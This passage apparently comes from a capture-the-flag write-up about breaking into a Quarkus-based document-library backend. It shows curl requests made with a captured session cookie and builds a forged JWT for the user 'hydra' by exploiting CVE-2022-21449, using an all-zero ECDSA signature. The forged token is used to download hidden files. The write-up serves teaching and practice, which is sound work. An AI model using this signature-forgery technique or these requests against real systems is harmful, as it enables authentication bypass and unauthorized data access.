[2023-08-08 18:53] Bob: Hey do you have the specs for the tokens? [2023-08-08 18:53] Hydra: It's a standard JWT, no? [2023-08-08 18:54] Bob: Yeah, but what claims should we use? [2023-08-08 18:54] Hydra: Just use the standard framework auth. [2023-08-08 18:55] Hydra: Oh right, the algorithm you're using has a major vulnerability though, you might want to update that or at least patch your Java. [2023-08-08 18:56] Bob: I'll get on that soon; we're just an internal service anyways, the firewall'll protect us. [2023-08-08 18:57] Hydra: Can't always rely on that, Bob. Best be as secure as we can internally as well. [2023-08-08 18:58] Bob: Right, before I forget, here's the flag for next week's security conf: *************************************************

Unpacking Bob’s Files

There’s quite of information to unpack here. From the todo list, we see that there’s probably an authentication issue on the backend, we don’t know what this is yet. We already knew about the mentioned CVE, and we should hang on to bruteforcing as a last resort.

From the chat logs, we see that there’s a JWT token scheme that’s at least partly implemented. We also see that we’re using Java which may be vulnerable to a certain algorithm which can be potentially used in a JWT. The JWT also contains the framework’s standard claims. We also get a flag, cool!

Which framework are we using here? What are the claims? Which algorithm do we need to use? Time for some research :slight_smile:

Before though, we can guess at a new user: hydra is mentioned in the chat logs. Let’s see if we can grab anything.

curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents\?author\=hydra -b 'credz=DOPPeBApdQR1gIvQq/MdYsT0oChBFZMsUM+3hCgjNL52u6Qa+TDNIC9GAdZ6eQ=='
[{"id":"64d35510774649ab3562697e","name":"Flag","author":"hydra","filename":"flagz.docx","hidden":false,"created":"2023-08-05T09:14:23.985","modified":"2023-08-05T09:14:23.985"}]

It looks like a flag, could this be our final flag? Let’s download it and see what’s inside.

curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents/download/flagz.docx -b 'credz=DOPPeBApdQR1gIvQq/MdYsT0oChBFZMsUM+3hCgjNL52u6Qa+TDNIC9GAdZ6eQ==' -o flagz.docx
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100  145k  100  145k    0     0  73151      0  0:00:02  0:00:02 --:--:-- 73168

I’ll leave opening the document as an exercise to the reader.

Defeating the Hydra

Well, we clearly want to get at Hydra’s hidden documents, let’s see if we can grab them as Bob:

curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents\?author\=hydra\&hidden\=true -b 'credz=DOPPeBApdQR1gIvQq/MdYsT0oChBFZMsUM+3hCgjNL52u6Qa+TDNIC9GAdZ6eQ=='
[{"id":"64d35510774649ab3562697f","name":"Todo","author":"bob","filename":"todo.md","hidden":true,"created":"2022-05-02T13:31:13.495","modified":"2023-08-04T08:27:44.168"},{"id":"64d35510774649ab35626980","name":"Chat Logs","author":"bob","filename":"chat.log","hidden":true,"created":"2023-08-09T09:02:13.028","modified":"2023-08-09T09:02:13.028"}]

No dice, we only get Bob’s files. It seems as though there’s a safeguard in place. Given the hints, it seems as though we’ll need to login as hydra. We don’t know their password, but we can assume that it’s a fair bit stronger than Bob’s.

First we need to know what framework we’re dealing with here. For this, the login api may give some hints. The endpoint looks like a default, as do the parameters. A cursory google search doesn’t help much, but the task hint reads supersonic subatomic. Searching for this and Java reveals that Quarkus is likely the framework being used here.

Quarkus uses the Smallrye JWT framework, which contains several claims which could be interesting. A quick google search regarding Quarkus and JWT leads us to https://quarkus.io/guides/security-jwt which contains quite a bit of information. Notably, the following claims are interesting:

  • upn: The Principal name, generally some identifier
  • groups: The roles attributed to the user
  • iss: The Issuer, we should be able to use anything here, but it’s generally used to identify from where the token came
  • iat: The unix timestamp at which the token was issued
  • exp: The unix timestamp at which the token expires

Technically, the issuer isn’t needed here

Psychic ~Paper~ Signatures

The next step is to figure out what they meant by algorithm. Presumably they mean the cryptographic signing algorithm in the JWT. Searching for java cryptography CVE leads us directly to CVE-2022-21449, aka Psychic Signatures. This was a flaw in the ECDSA algorithm in Java versions 15 to 18, wherin the code wouldn’t check that the parameters for the encryption algorithm were actually greater than 1. If we were to sign our token with zeros, then we could forge basically any credentials that we wanted. This blog post explains just that.

So now we have everything we need to forge a JWT token with hydra’s credentials:

{
    "typ": "JWT",
    "alg": "ES256"
}
{
    "upn": "hydra",
    "groups": [ "user" ],
    "iat": 1697140990,
    "exp": 1698140990
}

To code the signature, we need to define r=s=0 in the ASN.1 DER format. DER is a type-length-value encoding, which allows us to easily encode encryption parameters to hex. Let’s look into how to encode our signature. We need the following in ASN.1 syntax:

SEQUENCE
    INTEGER 00
    INTEGER 00

The SEQUENCE object is identified by 30 in hex. INTEGER is identified by 02, and each integer has a single value of 00, which has length 01.

Putting it all together, we get 30 06 02 01 00 02 01 00. That is a Sequence of length 6, containing 2 integers of length 1, with value 0. In base64, this converts to MAYCAQACAQA.

TLS certificates, SSH keys, and other cryptographic primitives are often written as base64-encoded DER formats. They can easily be parsed to reveal their parameters.

Encoding our JSON to a JWT yields:

eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJ1cG4iOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl0sImlhdCI6MTY5NzE0MDk5MCwiZXhwIjoxNjk4MTQwOTkwfQ.MAYCAQACAQA

We can use this an an Authorization token in a curl request.

curl -v --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJ1cG4iOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl0sImlhdCI6MTY5NzE0MDk5MCwiZXhwIjoxNjk4MTQwOTkwfQ.MAYCAQACAQA"
*   Trying 127.0.0.1:1080...
* Connected to 127.0.0.1 (127.0.0.1) port 1080
* SOCKS5 connect to library-back:8080 (remotely resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 1080
> GET /documents HTTP/1.1
> Host: library-back:8080
> User-Agent: curl/8.3.0
> Accept: */*
> Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJ1cG4iOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl0sImlhdCI6MTY5NzE0MDk5MCwiZXhwIjoxNjk4MTQwOTkwfQ.MAYCAQACAQA
>
< HTTP/1.1 200 OK
< content-length: 178
< Content-Type: application/json;charset=UTF-8
<
* Connection #0 to host 127.0.0.1 left intact
[{"id":"64d35510774649ab3562697e","name":"Flag","author":"hydra","filename":"flagz.docx","hidden":false,"created":"2023-08-05T09:14:23.985","modified":"2023-08-05T09:14:23.985"}]

Defeating the Hydra, Part 2

Huzzah! we’re getting Hydra’s documents. Let’s try for the hidden files again and see what we can find!

curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents\?hidden\=true -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJ1cG4iOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl0sImlhdCI6MTY5NzE0MDk5MCwiZXhwIjoxNjk4MTQwOTkwfQ.MAYCAQACAQA"
[{"id":"64d35510774649ab35626981","name":"Specifications for Document Library","author":"hydra","filename":"specs.pdf","hidden":true,"created":"2022-10-25T17:30:24.34","modified":"2023-10-25T17:30:24.34"}]

Hmm, let’s grab that file and take a look.

curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents/download/specs.pdf -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJ1cG4iOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl0sImlhdCI6MTY5NzE0MDk5MCwiZXhwIjoxNjk4MTQwOTkwfQ.MAYCAQACAQA" -o specs.pdf
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100 54430  100 54430    0     0   238k      0 --:--:-- --:--:-- --:--:--  237k

False Flag Operation

Opening the file, we see a design document for the library. It’s a bit sparse, but at the end, we can see a flag.

Of course it’s not that easy. So where can the real flag be? Well, we know the basic format of the data that we need to exfiltrate, so let’s try a basic search in the document.

Shock!

Oh Hydra you sneaky sneaky *******.